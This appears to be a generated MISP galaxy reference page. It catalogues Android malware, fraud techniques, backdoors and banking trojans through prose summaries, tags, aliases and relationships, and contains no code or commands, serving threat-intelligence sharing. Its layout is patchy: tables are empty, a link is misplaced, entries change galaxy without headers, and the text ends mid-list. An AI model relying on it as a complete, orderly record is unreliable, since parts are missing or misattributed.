# Introduction

The MISP threat sharing platform is a free and open source software helping information sharing of threat intelligence including cyber security indicators, financial fraud or counter-terrorism information. The MISP project includes multiple sub-projects to support the operational requirements of analysts and improve the overall quality of information shared.

MISP galaxy is a simple method to express a large object called cluster that can be attached to MISP events or attributes. A cluster can be composed of one or more elements. Elements are expressed as key-values. There are default vocabularies available in MISP galaxy but those can be overwritten, replaced or updated as you wish. Existing clusters and vocabularies can be used as-is or as a template. MISP distribution can be applied to each cluster to permit a limited or broader distribution scheme. The following document is generated from the machine-readable JSON describing the [MISP galaxy](#).

# Funding and Support

The MISP project is financially and resource supported by [CIRCL Computer Incident Response Center Luxembourg](#).

A CEF (Connecting Europe Facility) funding under CEF-TC-2016-3 - Cyber Security has been granted from 1st September 2017 until 31th August 2019 as **Improving MISP as building blocks for next-generation information sharing**.

**Co-financed by the European Union**  
Connecting Europe Facility

If you are interested to co-fund projects around MISP, feel free to get in touch with us.

# MISP galaxy

## Android

Android malware galaxy based on multiple open sources..

Android is a cluster galaxy available in JSON format at [this location](#) The JSON format can be freely reused in your application or automatically enabled in [MISP](#).

### authors

Unknown

## CopyCat

CopyCat is a fully developed malware with vast capabilities, including rooting devices, establishing persistency, and injecting code into Zygote – a daemon responsible for launching apps in the Android operating system – that allows the malware to control any activity on the device.

The tag is: `misp-galaxy:android="CopyCat"`

Table 1. Table References

## Andr/Dropr-FH

Andr/Dropr-FH can silently record audio and video, monitor texts and calls, modify files, and ultimately spawn ransomware.

The tag is: `misp-galaxy:android="Andr/Dropr-FH"`

Andr/Dropr-FH is also known as:

- GhostCtrl

Andr/Dropr-FH has relationships with:

- similar: `misp-galaxy:malpedia="GhostCtrl"` with `estimative-language:likelihood-probability="likely"`

<https://www.neowin.net/news/the-ghostctrl-android-malware-can-silently-record-your-audio-and-steal-sensitive-data>

## Judy

The malware, dubbed Judy, is an auto-clicking adware which was found on 41 apps developed by a Korean company. The malware uses infected devices to generate large amounts of fraudulent clicks on advertisements, generating revenues for the perpetrators behind it.

The tag is: *misp-galaxy:android="Judy"*

Table 3. Table References

## RedAlert2

The trojan waits in hiding until the user opens a banking or social media app. When this happens, the trojan shows an HTML-based overlay on top of the original app, alerting the user of an error, and asking to reauthenticate. Red Alert then collects the user's credentials and sends them to its C&C server.

The tag is: *misp-galaxy:android="RedAlert2"*

RedAlert2 has relationships with:

- similar: *misp-galaxy:malpedia="RedAlert2"* with *estimative-language:likelihood-probability="likely"*

Table 4. Table References

## Tizi

Tizi is a fully featured backdoor that installs spyware to steal sensitive data from popular social media applications. The Google Play Protect security team discovered this family in September 2017 when device scans found an app with rooting capabilities that exploited old vulnerabilities. The team used this app to find more applications in the Tizi family, the oldest of which is from October 2015. The Tizi app developer also created a website and used social media to encourage more app installs from Google Play and third-party websites.

The tag is: *misp-galaxy:android="Tizi"*

Table 5. Table References

## DoubleLocker

DoubleLocker can change the device's PIN, preventing victims from accessing their devices, and also encrypts the data requesting a ransom. It will misuse accessibility services after being installed by impersonating the Adobe Flash player - similar to BankBot.

The tag is: *misp-galaxy:android="DoubleLocker"*

DoubleLocker has relationships with:

- similar: *misp-galaxy:malpedia="DoubleLocker"* with *estimative-language:likelihood-probability="likely"*

Table 6. Table References

Links
<a href="https://www.welivesecurity.com/2017/10/13/doublelocker-innovative-android-malware/">https://www.welivesecurity.com/2017/10/13/doublelocker-innovative-android-malware/</a>

## Svpeng

Svpeng is a Banking trojan which acts as a keylogger. If the Android device is not Russian, Svpeng will ask for permission to use accessibility services. In abusing this service it will gain administrator rights allowing it to draw over other apps, send and receive SMS and take screenshots when keys are pressed.

The tag is: *misp-galaxy:android="Svpeng"*

Svpeng is also known as:

- Invisible Man

Svpeng has relationships with:

- similar: *misp-galaxy:tool="Svpeng"* with *estimative-language:likelihood-probability="likely"*
- similar: *misp-galaxy:malpedia="Svpeng"* with *estimative-language:likelihood-probability="likely"*

Table 7. Table References

## LokiBot

LokiBot is a banking trojan for Android 4.0 and higher. It can steal the information and send SMS messages. It has the ability to start web browsers, and banking applications, along with showing notifications impersonating other apps. Upon attempt to remove it will encrypt the devices' external storage requiring Bitcoins to decrypt files.

The tag is: *misp-galaxy:android="LokiBot"*

LokiBot has relationships with:

- similar: misp-galaxy:malpedia="Loki Password Stealer (PWS)" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="LokiBot" with estimative-language:likelihood-probability="likely"

Table 8. Table References

## BankBot

The main goal of this malware is to steal banking credentials from the victim's device. It usually impersonates flash player updaters, android system tools, or other legitimate applications.

The tag is: *misp-galaxy:android="BankBot"*

BankBot has relationships with:

- similar: misp-galaxy:malpedia="Anubis" with estimative-language:likelihood-probability="likely"

Table 9. Table References

## Viking Horde

In rooted devices, Viking Horde installs software and executes code remotely to get access to the mobile data.

The tag is: *misp-galaxy:android="Viking Horde"*

Table 10. Table References

Links
<a href="http://www.alwayson-network.com/worst-types-android-malware-2016/">http://www.alwayson-network.com/worst-types-android-malware-2016/</a>

## HummingBad

A Chinese advertising company has developed this malware. The malware has the power to take control of devices; it forces users to click advertisements and download apps. The malware uses a multistage attack chain.

The tag is: `misp-galaxy:android="HummingBad"`

HummingBad has relationships with:

- similar: `misp-galaxy:mitre-malware="HummingBad - S0322"` with `estimative-language:likelihood-probability="likely"`

Table 11. Table References

## Ackposts

Ackposts is a Trojan horse for Android devices that steals the Contacts information from the compromised device and sends it to a predetermined location.

The tag is: `misp-galaxy:android="Ackposts"`

Table 12. Table References

Links
<a href="https://www.symantec.com/security_response/writeup.jsp?docid=2012-072302-3943-99">https://www.symantec.com/security_response/writeup.jsp?docid=2012-072302-3943-99</a>

## Wirex

Wirex is a Trojan horse for Android devices that opens a backdoor on the compromised device which then joins a botnet for conducting click fraud.

The tag is: `misp-galaxy:android="Wirex"`

Table 13. Table References

Links
<a href="https://krebsonsecurity.com/2017/08/tech-firms-team-up-to-take-down-wirex-android-ddos-botnet/">https://krebsonsecurity.com/2017/08/tech-firms-team-up-to-take-down-wirex-android-ddos-botnet/</a>
<a href="http://www.zdnet.com/article/wirex-ddos-malware-given-udp-flood-capabilities/">http://www.zdnet.com/article/wirex-ddos-malware-given-udp-flood-capabilities/</a>

# WannaLocker

WannaLocker is a strain of ransomware for Android devices that encrypts files on the device's external storage and demands a payment to decrypt them.

The tag is: *misp-galaxy:android="WannaLocker"*

Table 14. Table References

Links
<a href="https://fossbytes.com/wannalocker-ransomware-wannacry-android/">https://fossbytes.com/wannalocker-ransomware-wannacry-android/</a>

# Switcher

Switcher is a Trojan horse for Android devices that modifies Wi-Fi router DNS settings. Switcher attempts to infiltrate a router's admin interface on the devices' WIFI network by using brute force techniques. If the attack succeeds, Switcher alters the DNS settings of the router, making it possible to reroute DNS queries to a network controlled by the malicious actors.

The tag is: *misp-galaxy:android="Switcher"*

Switcher has relationships with:

- similar: *misp-galaxy:malpedia="Switcher"* with *estimative-language:likelihood-probability="likely"*

Table 15. Table References

# Vibleaker

Vibleaker was an app available on the Google Play Store named Beaver Gang Counter that contained malicious code that after specific orders from its maker would scan the user's phone for the Viber app, and then steal photos and videos recorded or sent through the app.

The tag is: *misp-galaxy:android="Vibleaker"*

Table 16. Table References

# Cepsohord

Cepsohord is a Trojan horse for Android devices that uses compromised devices to commit click fraud, modify DNS settings, randomly delete essential files, and download additional malware such as ransomware.

The tag is: *misp-galaxy:android="Cepsohord"*

Table 18. Table References

Links
<a href="https://www.cyber.nj.gov/threat-profiles/android-malware-variants/cepsohord">https://www.cyber.nj.gov/threat-profiles/android-malware-variants/cepsohord</a>

# Fakem Rat

Fakem RAT makes their network traffic look like well-known protocols (e.g. Messenger traffic, HTML pages).

The tag is: *misp-galaxy:android="Fakem Rat"*

Table 19. Table References

Links
<a href="https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-fakem-rat.pdf">https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-fakem-rat.pdf</a>
<a href="https://www.symantec.com/security_response/writeup.jsp?docid=2016-012608-1538-99">https://www.symantec.com/security_response/writeup.jsp?docid=2016-012608-1538-99</a>

# GM Bot

GM Bot – also known as Acecard, SlemBunk, or Bankosy – scams people into giving up their banking log-in credentials and other personal data by displaying overlays that look nearly identical to banking apps log-in pages. Subsequently, the malware intercepts SMS to obtain two-factor authentication PINs, giving cybercriminals full access to bank accounts.

The tag is: *misp-galaxy:android="GM Bot"*

GM Bot is also known as:

- Acecard
- SlemBunk
- Bankosy

GM Bot has relationships with:

- similar: *misp-galaxy:tool="Slempto"* with *estimative-language:likelihood-probability="likely"*
- similar: *misp-galaxy:android="Bankosy"* with *estimative-language:likelihood-probability="likely"*
- similar: *misp-galaxy:malpedia="Slempto"* with *estimative-language:likelihood-probability="likely"*

## Moplus

The Wormhole vulnerability in the Moplus SDK could be exploited by hackers to open an unsecured and unauthenticated HTTP server connection on the user's device, and this connection is established in the background without the user's knowledge.

The tag is: *misp-galaxy:android="Moplus"*

Table 21. Table References

Links
<a href="http://securityaffairs.co/wordpress/41681/hacking/100m-android-device-baidu-moplus-sdk.html">http://securityaffairs.co/wordpress/41681/hacking/100m-android-device-baidu-moplus-sdk.html</a>

## Adwind

Adwind is a backdoor written purely in Java that targets system supporting the Java runtime environment. Commands that can be used, among other things, to display messages on the system, open URLs, update the malware, download/execute files, and download/load plugins. According to the author, the backdoor component can run on Windows, Mac OS, Linux and Android platforms providing rich capabilities for remote control, data gathering, data exfiltration and lateral movement.

The tag is: *misp-galaxy:android="Adwind"*

Adwind is also known as:

- AlienSpy
- Frutas
- Unrecom
- Sockrat
- Jsocket
- jRat
- Backdoor:Java/Adwind

Adwind has relationships with:

- similar: misp-galaxy:rat="Adwind RAT" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Adwind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Sockrat" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="AdWind" with estimative-language:likelihood-probability="likely"

Table 22. Table References

Links
<a href="https://securelist.com/adwind-faq/73660/">https://securelist.com/adwind-faq/73660/</a>

## AdSms

Adsms is a Trojan horse that may send SMS messages from Android devices.

The tag is: *misp-galaxy:android="AdSms"*

Table 23. Table References

Links
<a href="https://www.fortiguard.com/encyclopedia/virus/7389670">https://www.fortiguard.com/encyclopedia/virus/7389670</a>

## Airpush

Airpush is a very aggressive Ad - Network

The tag is: *misp-galaxy:android="Airpush"*

Airpush is also known as:

- StopSMS

Table 24. Table References

Links
-------

## BeanBot

BeanBot forwards device's data to a remote server and sends out premium-rate SMS messages from the infected device.

The tag is: *misp-galaxy:android="BeanBot"*

Table 25. Table References

Links
<a href="https://www.f-secure.com/v-descs/trojan_android_beanbot.shtml">https://www.f-secure.com/v-descs/trojan_android_beanbot.shtml</a>

## Kemoge

Kemoge is adware that disguises itself as popular apps via repackaging, then allows for a complete takeover of the users Android device.

The tag is: *misp-galaxy:android="Kemoge"*

Kemoge has relationships with:

- similar: *misp-galaxy:mitre-malware="ShiftyBug - S0294"* with *estimative-language:likelihood-probability="likely"*

Table 26. Table References

## Ghost Push

Ghost Push is a family of malware that infects the Android OS by automatically gaining root access, downloading malicious software, masquerading as a system app, and then losing root access, which then makes it virtually impossible to remove the infection even by factory reset unless the firmware is reflashed.

The tag is: *misp-galaxy:android="Ghost Push"*

Table 27. Table References

## Loapi

A malware strain known as Loapi will damage phones if users don't remove it from their devices. Left to its own means, this modular threat will download a Monero cryptocurrency miner that will overheat and overwork the phone's components, which will make the battery bulge, deform the phone's cover, or even worse. Discovered by Kaspersky Labs, researchers say Loapi appears to have evolved from Podec, a malware strain spotted in 2015.

The tag is: *misp-galaxy:android="Loapi"*

## Podec

Late last year, we encountered an SMS Trojan called Trojan-SMS.AndroidOS.Podec which used a very powerful legitimate system to protect itself against analysis and detection. After we removed the protection, we saw a small SMS Trojan with most of its malicious payload still in development. Before long, though, we intercepted a fully-fledged version of Trojan-SMS.AndroidOS.Podec in early 2015. The updated version proved to be remarkable: it can send messages to premium-rate numbers employing tools that bypass the Advice of Charge system (which notifies users about the price of a service and requires authorization before making the payment). It can also subscribe users to premium-rate services while bypassing CAPTCHA. This is the first time Kaspersky Lab has encountered this kind of capability in any Android-Trojan.

The tag is: *misp-galaxy:android="Podec"*

## Chamois

Chamois is one of the largest PHA families in Android to date and is distributed through multiple channels. While much of the backdoor version of this family was cleaned up in 2016, a new variant

emerged in 2017. To avoid detection, this version employs a number of techniques, such as implementing custom code obfuscation, preventing user notifications, and not appearing in the device's app list. Chamois apps, which in many cases come preloaded with the system image, try to trick users into clicking ads by displaying deceptive graphics to commit WAP or SMS fraud.

The tag is: *misp-galaxy:android="Chamois"*

## IcicleGum

IcicleGum is a spyware PHA family whose apps rely on versions of the Igexin ads SDK that offer dynamic code-loading support. IcicleGum apps use this library's code-loading features to fetch encrypted DEX files over HTTP from command-and-control servers. The files are then decrypted and loaded via class reflection to read and send phone call logs and other data to remote locations.

The tag is: *misp-galaxy:android="IcicleGum"*

IcicleGum has relationships with:

- similar: *misp-galaxy:android="Igexin"* with *estimative-language:likelihood-probability="likely"*

## BreadSMS

BreadSMS is a large SMS-fraud PHA family that we started tracking at the beginning of 2017. These apps compose and send text messages to premium numbers without the user's consent. In some cases, BreadSMS apps also implement subscription-based SMS fraud and silently enroll users in services provided by their mobile carriers. These apps are linked to a group of command-and-control servers whose IP addresses change frequently and that are used to provide the apps with premium SMS numbers and message text.

The tag is: *misp-galaxy:android="BreadSMS"*

<a href="https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf">https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf</a>

# JamSkunk

JamSkunk is a toll-fraud PHA family composed of apps that subscribe users to services without their consent. These apps disable Wi-Fi to force traffic to go through users' mobile data connection and then contact command-and-control servers to dynamically fetch code that tries to bypass the network's WAP service subscription verification steps. This type of PHA monetizes their abuse via WAP billing, a payment method that works through mobile data connections and allows users to easily sign up and pay for new services using their existing account (i.e., services are billed directly by the carrier, and not the service provider; the user does not need a new account or a different form of payment). Once authentication is bypassed, JamSkunk apps enroll the device in services that the user may not notice until they receive and read their next bill.

The tag is: *misp-galaxy:android="JamSkunk"*

# Expensive Wall

Expensive Wall is a family of SMS-fraud apps that affected a large number of devices in 2017. Expensive Wall apps use code obfuscation to slow down analysis and evade detection, and rely on the JS2Java bridge to allow JavaScript code loaded inside a Webview to call Java methods the way Java apps directly do. Upon launch, Expensive Wall apps connect to command-and-control servers to fetch a domain name. This domain is then contacted via a Webview instance that loads a webpage and executes JavaScript code that calls Java methods to compose and send premium SMS messages or click ads without users' knowledge.

The tag is: *misp-galaxy:android="Expensive Wall"*

# BambaPurple

BambaPurple is a two-stage toll-fraud PHA family that tries to trick users into installing it by disguising itself as a popular app. After install, the app disables Wi-Fi to force the device to use its 3G connection, then redirects to subscription pages without the user's knowledge, clicks subscription buttons using downloaded JavaScript, and intercepts incoming subscription SMS messages to prevent the user from unsubscribing. In a second stage, BambaPurple installs a backdoor app that requests device admin privileges and drops a .dex file. This executable checks to make sure it is not being debugged, downloads even more apps without user consent, and displays

ads.

The tag is: *misp-galaxy:android="BambaPurple"*

## KoreFrog

KoreFrog is a family of trojan apps that request permission to install packages and push other apps onto the device as system apps without the user's authorization. System apps can be disabled by the user, but cannot be easily uninstalled. KoreFrog apps operate as daemons running in the background that try to impersonate Google and other system apps by using misleading names and icons to avoid detection. The KoreFrog PHA family has also been observed to serve ads, in addition to apps.

The tag is: *misp-galaxy:android="KoreFrog"*

## Gaiaphish

Gaiaphish is a large family of trojan apps that target authentication tokens stored on the device to abuse the user's privileges for various purposes. These apps use base64-encoded URL strings to avoid detection of the command-and-control servers they rely on to download APK files. These files contain phishing apps that try to steal GAIA authentication tokens that grant the user permissions to access Google services, such as Google Play, Google+, and YouTube. With these tokens, Gaiaphish apps are able to generate spam and automatically post content (for instance, fake app ratings and comments on Google Play app pages)

The tag is: *misp-galaxy:android="Gaiaphish"*

<a href="https://www.bleepingcomputer.com/news/security/new-reddrop-android-spyware-records-nearby-audio/">https://www.bleepingcomputer.com/news/security/new-reddrop-android-spyware-records-nearby-audio/</a>

## HenBox

HenBox apps masquerade as others such as VPN apps, and Android system apps; some apps carry legitimate versions of other apps which they drop and install as a decoy technique. While some of legitimate apps HenBox uses as decoys can be found on Google Play, HenBox apps themselves are found only on third-party (non-Google Play) app stores. HenBox apps appear to primarily target the Uyghurs – a Turkic ethnic group living mainly in the Xinjiang Uyghur Autonomous Region in North West China. HenBox has ties to infrastructure used in targeted attacks, with a focus on politics in South East Asia. These attackers have used additional malware families in previous activity dating to at least 2015 that include PlugX, Zupdax, 9002, and Poison Ivy. HenBox apps target devices made by Chinese consumer electronics manufacture, Xiaomi and those running MIUI, Xiaomi’s operating system based on Google Android. Furthermore, the malicious apps register their intent to process certain events broadcast on compromised devices in order to execute malicious code. This is common practice for many Android apps, however, HenBox sets itself up to trigger based on alerts from Xiaomi smart-home IoT devices, and once activated, proceeds in stealing information from a myriad of sources, including many mainstream chat, communication and social media apps. The stolen information includes personal and device information.

The tag is: *misp-galaxy:android="HenBox"*

## Skygofree

At the beginning of October 2017, we discovered new Android spyware with several features previously unseen in the wild. In the course of further research, we found a number of related samples that point to a long-term development process. We believe the initial versions of this malware were created at least three years ago – at the end of 2014. Since then, the implant's functionality has been improving and remarkable new features implemented, such as the ability to record audio surroundings via the microphone when an infected device is in a specified location; the stealing of WhatsApp messages via Accessibility Services; and the ability to connect an infected device to Wi-Fi networks controlled by cybercriminals. We observed many web landing pages that mimic the sites of mobile operators and which are used to spread the Android implants. These domains have been registered by the attackers since 2015. According to our telemetry, that was the year the distribution campaign was at its most active. The activities continue: the most recently observed domain was registered on October 31, 2017. Based on our KSN statistics, there are several infected individuals, exclusively in Italy. Moreover, as we dived deeper into the investigation, we discovered several spyware tools for Windows that form an implant for exfiltrating sensitive data on a targeted machine. The version we found was built at the beginning of 2017, and at the moment we are not sure whether this implant has been used in the wild. We named the malware Skygofree, because we found the word in one of the domains.

The tag is: *misp-galaxy:android="Skygofree"*

## BusyGasper

A new family of spyware for Android grabbed the attention of security researchers through its unusual set of features and their original implementation. Tagged BusyGasper by security experts at Kaspersky, the malware stands out through its ability to monitor the various sensors present on the targeted phone. Based on the motion detection logs, it can recognize the opportune time for running and stopping its activity.

The tag is: *misp-galaxy:android="BusyGasper"*

# Triout

Bitdefender says Triout samples they discovered were masquerading in a clone of a legitimate application, but they were unable to discover where this malicious app was being distributed from. The obvious guess would be via third-party Android app stores, or app-sharing forums, popular in some areas of the globe.

## Phishing

In the context of ATT&CK for Fraud, phishing is described as the sending of fraudulent emails to a large audience in order to obtain sensitive information (PII, credentials, payment information). Phishing is never targeted to a specific individual or organisation. Phishing tries to create a sense of urgency or curiosity in order to capture the victim.

The tag is: *misp-galaxy:financial-fraud="Phishing"*

## ATM skimming

ATM Skimming refers to the act of capturing the data stored on a bank cards (tracks) and the Personal Identification Number (PIN) associated to that card. Upon obtaining the data, the criminal proceeds to encode the same information into a new card and use it in combination with the PIN to

perform illicit cash withdrawals. ATM Skimming is often achieved with a combination of a skimmer device for the card and a camera to capture the PIN.

The tag is: *misp-galaxy:financial-fraud="ATM skimming"*

## WellMess

Cross-platform malware written in Golang, compatible with Linux and Windows. Although there are some minor differences, both variants have the same functionality. The malware communicates with a CnC server using HTTP requests and performs functions based on the received commands. Results of command execution are sent in HTTP POST requests data (RSA-encrypted). Main functionalities are: (1) Execute arbitrary shell commands, (2) Upload/Download files. The PE variant of the infection, in addition, executes PowerShell scripts. A .Net version was also observed in the wild.

The tag is: *misp-galaxy:backdoor="WellMess"*

## Rosenbridge

The rosenbridge backdoor is a small, non-x86 core embedded alongside the main x86 core in the CPU. It is enabled by a model-specific-register control bit, and then toggled with a launch-instruction. The embedded core is then fed commands, wrapped in a specially formatted x86 instruction. The core executes these commands (which we call the 'deeply embedded instruction set'), bypassing all memory protections and privilege checks.

While the backdoor should require kernel level access to activate, it has been observed to be enabled by default on some systems, allowing any unprivileged code to modify the kernel.

The rosenbridge backdoor is entirely distinct from other publicly known coprocessors on x86 CPUs, such as the Management Engine or Platform Security Processor; it is more deeply embedded than any known coprocessor, having access to not only all of the CPU's memory, but its register file and execution pipeline as well.

The tag is: *misp-galaxy:backdoor="Rosenbridge"*

## ServHelper

The purpose of the macro was to download and execute a variant of ServHelper that set up reverse SSH tunnels that enabled access to the infected host through the Remote Desktop Protocol (RDP) port 3389.

"Once ServHelper establishes remote desktop access, the malware contains functionality for the threat actor to "hijack" legitimate user accounts or their web browser profiles and use them as they see fit," researchers from Proofpoint explain in an analysis released today.

The other ServHelper variant does not include the tunneling and hijacking capabilities and functions only as a downloader for the FlawedGrace RAT.

The tag is: *misp-galaxy:backdoor="ServHelper"*

Table 437. Table References

## Rising Sun

The Rising Sun backdoor uses the RC4 cipher to encrypt its configuration data and communications. As with most backdoors, on initial infection, Rising Sun will send data regarding the infected system to a command and control (C2) site. That information captures computer and user name, IP address, operating system version and network adapter information. Rising Sun contains 14 functions including executing commands, obtaining information on disk drives and running processes, terminating processes, obtaining file creation and last access times, reading and writing

files, deleting files, altering file attributes, clearing the memory of processes and connecting to a specified IP address.

The tag is: *misp-galaxy:backdoor="Rising Sun"*

## SLUB

A new backdoor was observed using the Github Gist service and the Slack messaging system as communication channels with its masters, as well as targeting a very specific type of victim using a watering hole attack. The backdoor dubbed SLUB by the Trend Micro Cyber Safety Solutions Team who detected it in the wild is part of a multi-stage infection process designed by capable threat actors who programmed it in C++. SLUB uses statically-linked curl, boost, and JsonCpp libraries for performing HTTP request, "extracting commands from gist snippets," and "parsing Slack channel communication." The campaign recently observed by the Trend Micro security researchers abusing the Github and Slack uses a multi-stage infection process.

The tag is: *misp-galaxy:backdoor="SLUB"*

SLUB has relationships with:

- similar: *misp-galaxy:tool="SLUB Backdoor"* with *estimative-language:likelihood-probability="likely"*

## Asruex

Since it first emerged in 2015, Asruex has been known for its backdoor capabilities and connection to the spyware DarkHotel. However, when we encountered Asruex in a PDF file, we found that a variant of the malware can also act as an infector particularly through the use of old vulnerabilities CVE-2012-0158 and CVE-2010-2883, which inject code in Word and PDF files respectively.

The tag is: *misp-galaxy:backdoor="Asruex"*

## Speculoos

FreeBSD-based payload, Speculoos was delivered by exploiting CVE-2019-19781, a vulnerability affecting the Citrix Application Delivery Controller, Citrix Gateway, and Citrix SD-WAN WANOP appliances that allowed an adversary to remotely execute arbitrary commands. This vulnerability was first disclosed on December 17, 2019 via security bulletin CTX267679 which contained several mitigation recommendations. By January 24, 2020, permanent patches for the affected appliances were issued. Based on the spread of industries and regions, in addition to the timing of the vulnerability disclosure, we believe this campaign may have been more opportunistic in nature compared to the highly targeted attack campaigns that are often associated with these types of adversaries. However, considering the exploitation of the vulnerability in conjunction with delivery of a backdoor specifically designed to execute on the associated FreeBSD operating system indicates the adversary was absolutely targeting the affected devices.

The tag is: *misp-galaxy:backdoor="Speculoos"*

Speculoos has relationships with:

- used-by: *misp-galaxy:threat-actor="APT41"* with *estimative-language:likelihood-probability="very-likely"*

# BazarBackdoor

Something that made the brute-force attacks on RDP connections easier was a new module of the notorious Trojan, TrickBot. It now seems that the TrickBot developers have a new tactic. Cybersecurity researchers have discovered a new phishing campaign that delivers a stealthy backdoor called BazarBackdoor, which can be used to compromise and gain full access to corporate networks. As is the case with 91% of cyberattacks, this one starts with a phishing email. A range of subjects are used to personalize the emails: Customer complaints, coronavirus-themed payroll reports, or employee termination lists. All these emails contain links to documents hosted on Google Docs. To send the malicious emails, the cybercriminals use the marketing platform Sendgrid. This campaign uses spear phishing, which means that the perpetrators have made an effort to ensure that the websites sent in the emails seem legitimate and correspond to the emails subjects.

The tag is: `misp-galaxy:backdoor="BazarBackdoor"`

Banker is a cluster galaxy available in JSON format at [this location](#) The JSON format can be freely reused in your application or automatically enabled in [MISP](#).

## authors

Unknown - raw-data

# Zeus

Zeus is a trojan horse that is primarily delivered via drive-by-downloads, malvertising, exploit kits and malspam campaigns. It uses man-in-the-browser keystroke logging and form grabbing to steal information from victims. Source was leaked in 2011.

The tag is: `misp-galaxy:banker="Zeus"`

Zeus is also known as:

- Zbot

Zeus has relationships with:

- similar: `misp-galaxy:tool="Zeus"` with `estimative-language:likelihood-probability="likely"`

- similar: misp-galaxy:botnet="Zeus" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Zeus" with estimative-language:likelihood-probability="likely"

## Tinba

Tinba is a very small banking trojan that hooks into browsers and steals login data and sniffs on network traffic. It also uses Man in The Browser (MiTB) and webinjects. Tinba is primarily delivered via exploit kits, malvertising and malspam email campaigns.

The tag is: `misp-galaxy:banker="Tinba"`

Tinba is also known as:

- Zusy
- TinyBanker
- illi

Tinba has relationships with:

- similar: `misp-galaxy:tool="Tinba"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="Tinba"` with `estimative-language:likelihood-probability="likely"`

## Geodo

Geodo is a banking trojan delivered primarily through malspam emails. It is capable of sniffing network activity to steal information by hooking certain network API calls.

The tag is: `misp-galaxy:banker="Geodo"`

Geodo is also known as:

- Feodo Version C

- Emotet

Geodo has relationships with:

- similar: `misp-galaxy:tool="Emotet"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="Emotet"` with `estimative-language:likelihood-probability="likely"`

## Retefe

Retefe is a banking trojan that is distributed by what SWITCH CERT calls the Retefe gang or Operation Emmmental. It uses geolocation based targeting. It also leverages fake root certificate and changes the DNS server for domain name resolution in order to display fake banking websites to victims. It is spread primarily through malspam emails.

The tag is: *misp-galaxy:banker="Retefe"*

Retefe is also known as:

- Tsukuba
- Werdlod

Retefe has relationships with:

- similar: *misp-galaxy:malpedia="Retefe (Android)"* with *estimative-language:likelihood-probability="likely"*
- similar: *misp-galaxy:malpedia="Dok"* with *estimative-language:likelihood-probability="likely"*

# Skynet

Skynet is a Tor-powered trojan with DDoS, Bitcoin mining and Banking capabilities. Spread via USENET as per rapid7.

The tag is: *misp-galaxy:banker="Skynet"*

Table 479. Table References

Links
<a href="https://blog.rapid7.com/2012/12/06/skynet-a-tor-powered-botnet-straight-from-reddit/">https://blog.rapid7.com/2012/12/06/skynet-a-tor-powered-botnet-straight-from-reddit/</a>

# IcedID

According to X-Force research, the new banking Trojan emerged in the wild in September 2017, when its first test campaigns were launched. Our researchers noted that IcedID has a modular malicious code with modern banking Trojan capabilities comparable to malware such as the Zeus Trojan. At this time, the malware targets banks, payment card providers, mobile services providers, payroll, webmail and e-commerce sites in the U.S. Two major banks in the U.K. are also on the target list the malware fetches.

The tag is: *misp-galaxy:banker="IcedID"*

IcedID has relationships with:

- similar: *misp-galaxy:malpedia="IcedID"* with *estimative-language:likelihood-probability="likely"*

# GratefulPOS

GratefulPOS has the following functions 1. Access arbitrary processes on the target POS system 2. Scrape track 1 and 2 payment card data from the process(es) 3. Exfiltrate the payment card data via lengthy encoded and obfuscated DNS queries to a hardcoded domain registered and controlled by the perpetrators, similar to that described by Paul Rascagneres in his analysis of FrameworkPOS in 2014[iii], and more recently by Luis Mendieta of Anomoli in analysis of a precursor to this sample.

The tag is: *misp-galaxy:banker="GratefulPOS"*

GratefulPOS has relationships with:

- similar: *misp-galaxy:tool="GratefulPOS"* with *estimative-language:likelihood-probability="likely"*

## downAndExec

Services like Netflix use content delivery networks (CDNs) to maximize bandwidth usage as it gives users greater speed when viewing the content, as the server is close to them and is part of the Netflix CDN. This results in faster loading times for series and movies, wherever you are in the world. But, apparently, the CDNs are starting to become a new way of spreading malware. The attack chain is very extensive, and incorporates the execution of remote scripts (similar in some respects to the recent “fileless” banking malware trend), plus the use of CDNs for command and control (C&C), and other standard techniques for the execution and protection of malware.

The tag is: *misp-galaxy:banker="downAndExec"*

Table 483. Table References

<a href="https://www.welivesecurity.com/2017/09/13/downandexec-banking-malware-cdns-brazil/">https://www.welivesecurity.com/2017/09/13/downandexec-banking-malware-cdns-brazil/</a>

## Smominru

Since the end of May 2017, we have been monitoring a Monero miner that spreads using the EternalBlue Exploit (CVE-2017-0144). The miner itself, known as Smominru (aka Ismo) has been well-documented, so we will not discuss its post-infection behavior. However, the miner's use of Windows Management Infrastructure is unusual among coin mining malware. The speed at which mining operations conduct mathematical operations to unlock new units of cryptocurrency is

referred to as “hash power”. Based on the hash power associated with the Monero payment address for this operation, it appeared that this botnet was likely twice the size of Adylkuzz. The operators had already mined approximately 8,900 Monero (valued this week between \$2.8M and \$3.6M). Each day, the botnet mined roughly 24 Monero, worth an average of \$8,500 this week.

The tag is: *misp-galaxy:banker="Smominru"*

Smominru is also known as:

- Ismo
- lsmo

Smominru has relationships with:

- similar: *misp-galaxy:malpedia="Smominru"* with *estimative-language:likelihood-probability="likely"*

## DanaBot

It's a Trojan that includes banking site web injections and stealer functions. It consists of a downloader component that downloads an encrypted file containing the main DLL. The DLL, in turn, connects using raw TCP connections to port 443 and downloads additional modules (i.e. VNCDLL.dll, StealerDLL.dll, ProxyDLL.dll)

The tag is: *misp-galaxy:banker="DanaBot"*

DanaBot has relationships with:

- similar: *misp-galaxy:malpedia="DanaBot"* with *estimative-language:likelihood-probability="likely"*

<a href="https://research.checkpoint.com/banking-trojans-development/">https://research.checkpoint.com/banking-trojans-development/</a>

## Kronos

Kronos was a type of banking malware first reported in 2014. It was sold for \$7000. As of September 2015, a renew version was reconnecting with infected bots and sending them a brand new configuration file against U.K. banks and one bank in India. Similar to Zeus it was focused on stealing banking login credentials from browser sessions. A new version of this malware appears to have been used in 2018, the main difference is that the 2018 edition uses Tor-hosted C&C control panels.

The tag is: *misp-galaxy:banker="Kronos"*

Kronos has relationships with:

